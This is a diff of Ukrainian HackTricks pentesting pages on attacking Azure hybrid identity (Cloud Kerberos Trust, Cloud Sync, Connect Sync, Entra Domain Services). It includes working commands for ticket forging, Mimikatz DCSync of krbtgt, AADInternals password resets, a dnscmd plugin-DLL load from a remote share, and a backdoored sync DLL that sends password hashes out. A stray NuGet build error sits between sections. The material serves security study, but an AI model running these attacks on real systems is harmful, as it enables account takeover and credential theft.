3. **Отримати частковий TGT з Azure AD:** Після зміни, автентифікуйтеся як гібридний користувач в Azure AD (наприклад, отримавши PRT на пристрої або використовуючи їхні облікові дані). Коли користувач входить в систему (особливо на пристрої, приєднаному до домену або Entra), Azure AD видасть **частковий Kerberos TGT (TGT**<sub>**AD**</sub>) для цього облікового запису, оскільки активовано Cloud Kerberos Trust. Цей частковий TGT зашифрований за допомогою ключа AzureADKerberos$ RODC і включає **цільовий SID**, який ми встановили. Ми можемо змоделювати це, запитавши PRT для користувача через ROADtools:
|
||||
```bash
|
||||
@@ -46,7 +46,7 @@ roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
Це виводить файл `.prt`, що містить частковий TGT та ключ сесії. Якщо обліковий запис був лише хмарним паролем, Azure AD все ще включає TGT_AD у відповіді PRT.
|
||||
|
||||
4. **Обмін часткового TGT на повний TGT (на AD):** Тепер частковий TGT можна представити локальному контролеру домену, щоб отримати **повний TGT** для цільового облікового запису. Ми робимо це, виконуючи запит TGS для служби `krbtgt` (основна служба TGT домену) -- по суті, оновлюючи квиток до нормального TGT з повним PAC. Доступні інструменти для автоматизації цього обміну. Наприклад, використовуючи скрипт ROADtools Hybrid:
|
||||
4. **Обмін часткового TGT на повний TGT (на AD):** Частковий TGT тепер можна представити локальному контролеру домену для отримання **повного TGT** для цільового облікового запису. Ми робимо це, виконуючи запит TGS для служби `krbtgt` (основна служба TGT домену) -- по суті, оновлюючи квиток до нормального TGT з повним PAC. Інструменти доступні для автоматизації цього обміну. Наприклад, використовуючи скрипт ROADtools Hybrid:
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
@@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
**Cloud Sync** - це новий спосіб Azure для **синхронізації користувачів з AD в Entra ID**.
|
||||
|
||||
[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync - це нова пропозиція від Microsoft, розроблена для досягнення ваших цілей гібридної ідентичності для синхронізації користувачів, груп і контактів до Microsoft Entra ID. Це досягається за допомогою агента постачання Microsoft Entra в хмарі замість програми Microsoft Entra Connect. Однак його можна використовувати разом з Microsoft Entra Connect Sync.
|
||||
|
||||
### Principals Generated
|
||||
### Сгенеровані принципали
|
||||
|
||||
Для того, щоб це працювало, деякі принципи створюються як в Entra ID, так і в локальному каталозі:
|
||||
Для того, щоб це працювало, деякі принципали створюються як в Entra ID, так і в локальному каталозі:
|
||||
|
||||
- В Entra ID створюється користувач `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) з роллю **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
@@ -19,7 +19,7 @@
|
||||
|
||||
- В Entra ID також створюється група **`AAD DC Administrators`** без учасників або власників. Ця група корисна, якщо використовується [`Microsoft Entra Domain Services`](./az-domain-services.md).
|
||||
|
||||
- В AD або створюється обліковий запис служби **`provAgentgMSA`** з SamAcountName, як **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), або користувацький з [**цими дозволами**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Зазвичай створюється стандартний.
|
||||
- В AD або створюється обліковий запис служби **`provAgentgMSA`** з SamAcountName, як **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), або користувацький, з [**цими дозволами**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Зазвичай створюється стандартний.
|
||||
|
||||
> [!WARNING]
|
||||
> Серед інших дозволів обліковий запис служби **`provAgentgMSA`** має дозволи DCSync, що дозволяє **будь-кому, хто його скомпрометує, скомпрометувати весь каталог**. Для отримання додаткової інформації про [DCSync перегляньте це](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
@@ -27,7 +27,7 @@
|
||||
> [!NOTE]
|
||||
> За замовчуванням користувачі відомих привілейованих груп, таких як Domain Admins, з атрибутом **`adminCount` до 1 не синхронізуються** з Entra ID з міркувань безпеки. Однак інші користувачі, які є частиною привілейованих груп без цього атрибута або які мають високі привілеї безпосередньо, **можуть бути синхронізовані**.
|
||||
|
||||
## Password Sychronization
|
||||
## Синхронізація паролів
|
||||
|
||||
Цей розділ дуже схожий на той, що з:
|
||||
|
||||
@@ -36,19 +36,19 @@ az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Синхронізація хешів паролів** може бути увімкнена, щоб користувачі могли **увійти в Entra ID, використовуючи свої паролі з AD**. Більше того, коли пароль змінюється в AD, він буде оновлений в Entra ID.
|
||||
- **Запис паролів** також може бути увімкнений, що дозволяє користувачам змінювати свій пароль в Entra ID, автоматично синхронізуючи їх пароль в локальному домені. Але відповідно до [поточних документів](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), для цього потрібно використовувати Connect Agent, тому зверніть увагу на [розділ Az Connect Sync](./az-connect-sync.md) для отримання додаткової інформації.
|
||||
- **Запис груп**: Ця функція дозволяє синхронізувати членство груп з Entra ID назад до локального AD. Це означає, що якщо користувач додається до групи в Entra ID, він також буде доданий до відповідної групи в AD.
|
||||
- **Запис паролів** також може бути увімкнений, що дозволяє користувачам змінювати свій пароль в Entra ID, автоматично синхронізуючи їх пароль в локальному домені. Але відповідно до [поточних документів](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), для цього потрібно використовувати Connect Agent, тому ознайомтеся з [розділом Az Connect Sync](./az-connect-sync.md) для отримання додаткової інформації.
|
||||
- **Запис груп**: Ця функція дозволяє синхронізувати членство груп з Entra ID назад до локального AD. Це означає, що якщо користувача додають до групи в Entra ID, його також додадуть до відповідної групи в AD.
|
||||
|
||||
## Pivoting
|
||||
## Півотування
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- Якщо користувачі AD синхронізуються з AD в Entra ID, перемикання з AD на Entra ID є простим, просто **скомпрометуйте пароль деякого користувача або змініть пароль деякого користувача або створіть нового користувача і чекайте, поки він не буде синхронізований в каталог Entra ID (зазвичай лише кілька хвилин)**.
|
||||
- Якщо користувачі AD синхронізуються з AD в Entra ID, півотування з AD в Entra ID є простим, просто **скомпрометуйте пароль деякого користувача або змініть пароль деякого користувача або створіть нового користувача і чекайте, поки його синхронізують в каталог Entra ID (зазвичай лише кілька хвилин)**.
|
||||
|
||||
Отже, ви могли б, наприклад:
|
||||
- Скомпрометувати обліковий запис **`provAgentgMSA`**, виконати атаку DCSync, зламати пароль деякого користувача, а потім використовувати його для входу в Entra ID.
|
||||
- Просто створити нового користувача в AD, почекати, поки він не буде синхронізований в Entra ID, а потім використовувати його для входу в Entra ID.
|
||||
- Змінити пароль деякого користувача в AD, почекати, поки він не буде синхронізований в Entra ID, а потім використовувати його для входу в Entra ID.
|
||||
- Просто створити нового користувача в AD, почекати, поки його синхронізують в Entra ID, а потім використовувати його для входу в Entra ID.
|
||||
- Змінити пароль деякого користувача в AD, почекати, поки його синхронізують в Entra ID, а потім використовувати його для входу в Entra ID.
|
||||
|
||||
Щоб скомпрометувати облікові дані **`provAgentgMSA`**:
|
||||
```powershell
|
||||
@@ -87,7 +87,7 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
|
||||
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Щодо постійності [цей блог](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) пропонує, що можливо використовувати [**dnSpy**](https://github.com/dnSpy/dnSpy) для створення бекдору в dll **`Microsoft.Online.Passwordsynchronisation.dll`**, розташованій у **`C:\Program Files\Microsoft Azure AD Sync\Bin`**, яка використовується агентом Cloud Sync для виконання синхронізації паролів, змушуючи її ексфільтрувати хеші паролів користувачів, які синхронізуються, на віддалений сервер. Хеші генеруються в класі **`PasswordHashGenerator`**, і в блозі пропонується додати деякий код, щоб клас виглядав так (зверніть увагу на `use System.Net` і використання `WebClient` для ексфільтрації хешів паролів):
|
||||
Щодо постійності, [цей блог](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) пропонує, що можливо використовувати [**dnSpy**](https://github.com/dnSpy/dnSpy) для створення бекдору в dll **`Microsoft.Online.Passwordsynchronisation.dll`**, розташованій у **`C:\Program Files\Microsoft Azure AD Sync\Bin`**, яка використовується агентом Cloud Sync для виконання синхронізації паролів, змушуючи її ексфільтрувати хеші паролів користувачів, які синхронізуються, на віддалений сервер. Хеші генеруються в класі **`PasswordHashGenerator`**, і в блозі пропонується додати деякий код, щоб клас виглядав так (зверніть увагу на `use System.Net` і використання `WebClient` для ексфільтрації хешів паролів):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -121,13 +121,13 @@ RawHash = passwordHashData.RawHash
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
NuGet Package restore failed for project AzTokenFinder: Не вдалося знайти версію '4.3.2' пакету 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Пакет 'System.Security.Cryptography.X509Certificates.4.3.2' не знайдено на джерелі 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Будь ласка, перегляньте вікно списку помилок для детальних попереджень і помилок.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Якщо **Password Writeback** увімкнено, ви можете змінити пароль деяких користувачів з Entra ID, і якщо у вас є доступ до мережі AD, підключитися, використовуючи їх. Для отримання додаткової інформації перегляньте розділ [Az Connect Sync section](./az-connect-sync.md), оскільки відновлення паролів налаштовується за допомогою цього агента.
|
||||
- Якщо **Password Writeback** увімкнено, ви можете змінити пароль деяких користувачів з Entra ID, і якщо у вас є доступ до мережі AD, підключитися, використовуючи їх. Для отримання додаткової інформації перегляньте розділ [Az Connect Sync](./az-connect-sync.md), оскільки функція скидання пароля налаштовується за допомогою цього агента.
|
||||
|
||||
- На даний момент Cloud Sync також дозволяє **"Microsoft Entra ID to AD"**, але після тривалого часу я виявив, що він НЕ МОЖЕ синхронізувати користувачів EntraID з AD і що він може синхронізувати лише користувачів з EntraID, які були синхронізовані з хешем пароля і походять з домену, що належить до того ж лісу доменів, до якого ми синхронізуємо, як ви можете прочитати в [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
@@ -10,18 +10,18 @@
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Connect Sync** - це, по суті, "старий" спосіб Azure для **синхронізації користувачів з AD в Entra ID.** Новий рекомендований спосіб - використовувати **Entra Cloud Sync**:
|
||||
**Connect Sync** - це, по суті, "старий" спосіб Azure для **синхронізації користувачів з AD в Entra ID.** Новий рекомендований спосіб - це використання **Entra Cloud Sync**:
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### Згенеровані принципали
|
||||
### Згенеровані принципи
|
||||
|
||||
- Обліковий запис **`MSOL_<installationID>`** автоматично створюється в локальному AD. Цей обліковий запис отримує роль **Directory Synchronization Accounts** (див. [документацію](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), що означає, що він має **дозволи на реплікацію (DCSync) в локальному AD**.
|
||||
- Це означає, що будь-хто, хто скомпрометує цей обліковий запис, зможе скомпрометувати локальний домен.
|
||||
- У локальному AD створюється керований обліковий запис служби **`ADSyncMSA<id>`** без будь-яких спеціальних привілеїв за замовчуванням.
|
||||
- У Entra ID створюється обліковий принципал **`ConnectSyncProvisioning_ConnectSync_<id>`** з сертифікатом.
|
||||
- В Entra ID створюється обліковий запис служби **`ConnectSyncProvisioning_ConnectSync_<id>`** з сертифікатом.
|
||||
|
||||
## Синхронізація паролів
|
||||
|
||||
@@ -38,11 +38,11 @@ az-cloud-sync.md
|
||||
Коли локальний користувач хоче отримати доступ до ресурсу Azure, **автентифікація відбувається в Azure AD**.
|
||||
|
||||
> [!NOTE]
|
||||
> За замовчуванням користувачі відомих привілейованих груп, таких як Domain Admins, з атрибутом **`adminCount` до 1 не синхронізуються** з Entra ID з міркувань безпеки. Однак інші користувачі, які є частиною привілейованих груп без цього атрибута або які мають високі привілеї безпосередньо, **можуть бути синхронізовані**.
|
||||
> За замовчуванням користувачі відомих привілейованих груп, таких як Domain Admins, з атрибутом **`adminCount` до 1 не синхронізуються** з Entra ID з міркувань безпеки. Однак інші користувачі, які є частиною привілейованих груп без цього атрибута або які отримали високі привілеї безпосередньо, **можуть бути синхронізовані**.
|
||||
|
||||
### Запис паролів
|
||||
|
||||
Ця конфігурація дозволяє **синхронізувати паролі з Entra ID в AD**, коли користувач змінює свій пароль в Entra ID. Зверніть увагу, що для роботи запису паролів обліковому запису `MSOL_<id>`, автоматично створеному в AD, потрібно надати [більше привілеїв, як зазначено в документації](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), щоб він міг **змінювати паролі будь-якого користувача в AD**.
|
||||
Ця конфігурація дозволяє **синхронізувати паролі з Entra ID в AD**, коли користувач змінює свій пароль в Entra ID. Зверніть увагу, що для роботи запису паролів користувачу `MSOL_<id>`, автоматично згенерованому в AD, потрібно надати [більше привілеїв, як зазначено в документації](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), щоб він міг **змінювати паролі будь-якого користувача в AD**.
|
||||
|
||||
Це особливо цікаво для компрометації AD з скомпрометованого Entra ID, оскільки ви зможете змінити пароль "майже" будь-якого користувача.
|
||||
|
||||
@@ -54,7 +54,7 @@ az-cloud-sync.md
|
||||
- Користувачі з групи **`Cert Publishers Group`**, які можуть публікувати сертифікати в Active Directory.
|
||||
- Користувачі будь-якої іншої групи з високими привілеями без атрибута **`adminCount` до 1**.
|
||||
|
||||
## Півтування AD --> Entra ID
|
||||
## Півотування AD --> Entra ID
|
||||
|
||||
### Перерахунок Connect Sync
|
||||
|
||||
@@ -84,13 +84,13 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
|
||||
### Знаходження паролів
|
||||
|
||||
Паролі користувача **`MSOL_*`** (та користувача **Sync\_\***, якщо він створений) **зберігаються в SQL сервері** на сервері, де **встановлено Entra ID Connect.** Адміністратори можуть витягувати паролі цих привілейованих користувачів у відкритому вигляді.\
|
||||
База даних розташована за адресою `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
База даних знаходиться за адресою `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Можна витягти конфігурацію з однієї з таблиць, одна з яких зашифрована:
|
||||
Можливо витягти конфігурацію з однієї з таблиць, одна з яких зашифрована:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**Зашифрована конфігурація** зашифрована за допомогою **DPAPI** і містить **паролі користувача `MSOL_*`** в on-prem AD та пароль **Sync\_\*** в AzureAD. Отже, компрометуючи їх, можна отримати привілейований доступ до AD та AzureAD.
|
||||
**Зашифрована конфігурація** зашифрована за допомогою **DPAPI** і містить **паролі користувача `MSOL_*`** в on-prem AD та пароль **Sync\_\*** в AzureAD. Тому, компрометуючи ці дані, можна отримати привілейований доступ до AD та AzureAD.
|
||||
|
||||
Ви можете знайти [повний огляд того, як ці облікові дані зберігаються та розшифровуються в цій доповіді](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
@@ -112,11 +112,11 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> Попередні атаки скомпрометували інший пароль, щоб підключитися до користувача Entra ID з ім'ям `Sync_*`, а потім скомпрометувати Entra ID. Однак цей користувач більше не існує.
|
||||
> Попередні атаки скомпрометували інший пароль, щоб підключитися до користувача Entra ID, якого називають `Sync_*`, а потім скомпрометувати Entra ID. Однак цей користувач більше не існує.
|
||||
|
||||
### Зловживання ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
Цей додаток створено без призначення будь-яких ролей управління Entra ID або Azure. Однак він має такі API дозволи:
|
||||
Цей додаток створюється без призначення будь-яких ролей управління Entra ID або Azure. Однак він має такі API дозволи:
|
||||
|
||||
- Microsoft Entra AD Synchronization Service
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
@@ -125,10 +125,10 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
Зазначено, що SP цього додатка все ще можна використовувати для виконання деяких привілейованих дій за допомогою не задокументованого API, але, наскільки мені відомо, жодного PoC ще не знайдено.\
|
||||
Зазначено, що SP цього додатку все ще може бути використаний для виконання деяких привілейованих дій за допомогою не задокументованого API, але, наскільки мені відомо, жодного PoC ще не знайдено.\
|
||||
У будь-якому випадку, вважаючи, що це може бути можливим, було б цікаво далі дослідити, як знайти сертифікат для входу як цей сервісний принципал і спробувати зловживати ним.
|
||||
|
||||
Цей [блог пост](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) був опублікований незадовго до зміни з використання `Sync_*` користувача на цей сервісний принципал, пояснив, що сертифікат зберігався всередині сервера, і його можна було знайти, згенерувати PoP (Proof of Possession) і граф токен, і з цим мати можливість додати новий сертифікат до сервісного принципала (оскільки **сервісний принципал** завжди може призначити собі нові сертифікати) і потім використовувати його для підтримки постійності як SP.
|
||||
Цей [блог пост](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) був опублікований незадовго до зміни з використання `Sync_*` користувача на цей сервісний принципал, пояснив, що сертифікат зберігався всередині сервера і його можна було знайти, згенерувати PoP (Proof of Possession) і граф токен, і з цим мати можливість додати новий сертифікат до сервісного принципала (оскільки **сервісний принципал** завжди може призначити собі нові сертифікати) і потім використовувати його для підтримки постійності як SP.
|
||||
|
||||
Для виконання цих дій опубліковані наступні інструменти: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
@@ -137,7 +137,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
||||
### Зловживання Sync\_\* [DEPRECATED]
|
||||
|
||||
> [!WARNING]
|
||||
> Раніше в Entra ID був створений користувач з ім'ям `Sync_*` з дуже чутливими дозволами, які дозволяли виконувати привілейовані дії, такі як зміна пароля будь-якого користувача або додавання нових облікових даних до сервісного принципала. Однак з січня 2025 року цей користувач більше не створюється за замовчуванням, оскільки тепер використовується додаток/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Однак він все ще може бути присутнім у деяких середовищах, тому варто перевірити його наявність.
|
||||
> Раніше в Entra ID був створений користувач під назвою `Sync_*` з дуже чутливими дозволами, які дозволяли виконувати привілейовані дії, такі як зміна пароля будь-якого користувача або додавання нових облікових даних до сервісного принципала. Однак з січня 2025 року цей користувач більше не створюється за замовчуванням, оскільки тепер використовується додаток/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Однак він все ще може бути присутнім в деяких середовищах, тому варто перевірити його наявність.
|
||||
|
||||
Скомпрометувавши обліковий запис **`Sync_*`**, можна **скинути пароль** будь-якого користувача (включаючи глобальних адміністраторів).
|
||||
```bash
|
||||
@@ -163,7 +163,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Також можливо **змінити паролі лише для користувачів хмари** (навіть якщо це неочікувано)
|
||||
Також можливо **змінити паролі лише для користувачів хмари** (навіть якщо це несподівано)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
@@ -172,10 +172,10 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Також можливо скинути пароль цього користувача.
|
||||
Можливо також скинути пароль цього користувача.
|
||||
|
||||
> [!CAUTION]
|
||||
> Інший варіант - це **призначити привілейовані дозволи службі**, що **Sync** користувач має **дозволи** на це, а потім **отримати доступ до цієї служби** як спосіб підвищення привілеїв.
|
||||
> Інший варіант полягає в тому, щоб **призначити привілейовані дозволи службі**, що **Sync** користувач має **дозволи** на це, а потім **отримати доступ до цієї служби** як спосіб підвищення привілеїв.
|
||||
|
||||
### Безшовний SSO
|
||||
|
||||
@@ -185,7 +185,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Пивотування Entra ID --> AD
|
||||
## Поворот Entra ID --> AD
|
||||
|
||||
- Якщо увімкнено запис паролів, ви можете **змінити пароль будь-якого користувача в AD**, який синхронізується з Entra ID.
|
||||
- Якщо увімкнено запис груп, ви можете **додати користувачів до привілейованих груп** в Entra ID, які синхронізуються з AD.
|
||||
@@ -0,0 +1,86 @@
|
||||
# Az - Microsoft Entra Domain Services
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services дозволяє розгорнути Active Directory в Azure без необхідності керувати контролерами домену (насправді ви навіть не маєте до них доступу).
|
||||
|
||||
Основна мета полягає в тому, щоб дозволити вам запускати застарілі програми в хмарі, які не можуть використовувати сучасні методи аутентифікації, або коли ви не хочете, щоб запити до каталогу завжди поверталися до локального середовища AD DS.
|
||||
|
||||
Зверніть увагу, що для синхронізації користувачів, створених в Entra ID (і не синхронізованих з інших активних каталогів), до служби домену AD вам потрібно **змінити пароль користувача** на новий, щоб його можна було синхронізувати з новим AD. Насправді, користувач не синхронізується з Microsoft Entra ID до Служб домену, поки пароль не буде змінено.
|
||||
|
||||
> [!WARNING]
|
||||
> Навіть якщо ви створюєте новий домен активного каталогу, ви не зможете повністю ним керувати (якщо не експлуатувати деякі неправильні налаштування), що означає, що за замовчуванням, наприклад, ви не можете створювати користувачів безпосередньо в AD. Ви створюєте їх, **синхронізуючи користувачів з Entra ID.** Ви можете вказати синхронізувати всіх користувачів (навіть тих, що синхронізовані з інших локальних AD), лише хмарних користувачів (користувачів, створених в Entra ID) або навіть **додатково їх фільтрувати**.
|
||||
|
||||
> [!NOTE]
|
||||
> Загалом, через відсутність гнучкості в налаштуванні нового домену та той факт, що AD зазвичай вже є локальними, це не основна інтеграція між Entra ID та AD, але все ж цікаво знати, як його скомпрометувати.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Члени згенерованої **`AAD DC Administrators`** групи отримують локальні адміністративні права на ВМ, які приєднані до керованого домену (але не в контролерах домену), оскільки вони додаються до групи локальних адміністраторів. Члени цієї групи також можуть використовувати **Remote Desktop для віддаленого підключення до ВМ, приєднаних до домену**, і також є членами груп:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: Це група, яка визначає користувачів і групи, паролі яких не можуть бути кешовані на RODC (контролерах домену тільки для читання).
|
||||
- **`Group Policy Creators Owners`**: Ця група дозволяє членам створювати групові політики в домені. Однак її члени не можуть застосовувати групові політики до користувачів або груп або редагувати існуючі GPO, тому це не так цікаво в цьому середовищі.
|
||||
- **`DnsAdmins`**: Ця група дозволяє керувати налаштуваннями DNS і в минулому була зловживана для [ескалації привілеїв і компрометації домену](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), однак після тестування атаки в цьому середовищі було перевірено, що вразливість виправлена:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
Зверніть увагу, що для надання цих дозволів у AD група **`AAD DC Administrators`** стає членом попередніх груп, а також GPO **`AADDC Computers GPO`** додає до локальних адміністраторів усіх членів доменної групи **`AAD DC Administrators`**.
|
||||
|
||||
Перехід з Entra ID до AD, створеного за допомогою Domain Services, є простим: просто додайте користувача до групи **`AAD DC Administrators`**, отримайте доступ через RDP до будь-яких/усіх машин у домені, і ви зможете вкрасти дані та також **компрометувати домен.**
|
||||
|
||||
Однак перехід з домену до Entra ID не є таким простим, оскільки нічого з домену не синхронізується в Entra ID. Проте завжди перевіряйте метадані всіх ВМ, приєднаних до їх призначених керованих ідентичностей, оскільки вони можуть мати цікаві дозволи. Також **вивантажте всі паролі користувачів з домену** і спробуйте їх зламати, щоб потім увійти в Entra ID / Azure.
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що в минулому були виявлені інші вразливості в цьому керованому AD, які дозволяли компрометувати DC, [як ця](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Зловмисник, який компрометує DC, міг би дуже легко підтримувати стійкість, не помічаючи Azure адміністраторів або навіть не маючи можливості видалити це.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# Get configured domain services domains (you can add more subs to check in more subscriptions)
|
||||
az rest --method post \
|
||||
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
|
||||
--body '{
|
||||
"subscriptions": [
|
||||
"0ce1297c-9153-425d-3229-f51093614377"
|
||||
],
|
||||
"query": "resources | where type == \"microsoft.aad/domainservices\"",
|
||||
"options": {
|
||||
"$top": 16,
|
||||
"$skip": 0,
|
||||
"$skipToken": ""
|
||||
}
|
||||
}'
|
||||
|
||||
# Get domain configuration
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
|
||||
## e.g.
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
|
||||
|
||||
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
|
||||
|
||||
subscription_id="0ce1297c-9153-425d-3229-f51093614377"
|
||||
vnet_name="aadds-vnet"
|
||||
|
||||
# Retrieve all VMs in the subscription
|
||||
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
|
||||
|
||||
# Iterate through each VM to check their VNet connection
|
||||
echo "VMs connected to VNet '$vnet_name':"
|
||||
while IFS=$'\t' read -r vm_name resource_group; do
|
||||
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
|
||||
|
||||
for nic_id in $nic_ids; do
|
||||
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
|
||||
|
||||
if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
|
||||
echo "VM Name: $vm_name, Resource Group: $resource_group"
|
||||
fi
|
||||
done
|
||||
done <<< "$vm_list"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -2,16 +2,16 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
>**Федерація** - це сукупність **доменів**, які встановили **довіру**. Рівень довіри може варіюватися, але зазвичай включає **автентифікацію** і майже завжди включає **авторизацію**. Типова федерація може включати **кілька організацій**, які встановили **довіру** для **спільного доступу** до набору ресурсів.
|
||||
>**Федерація** - це колекція **доменів**, які встановили **довіру**. Рівень довіри може варіюватися, але зазвичай включає **автентифікацію** і майже завжди включає **авторизацію**. Типова федерація може включати **кілька організацій**, які встановили **довіру** для **спільного доступу** до набору ресурсів.
|
||||
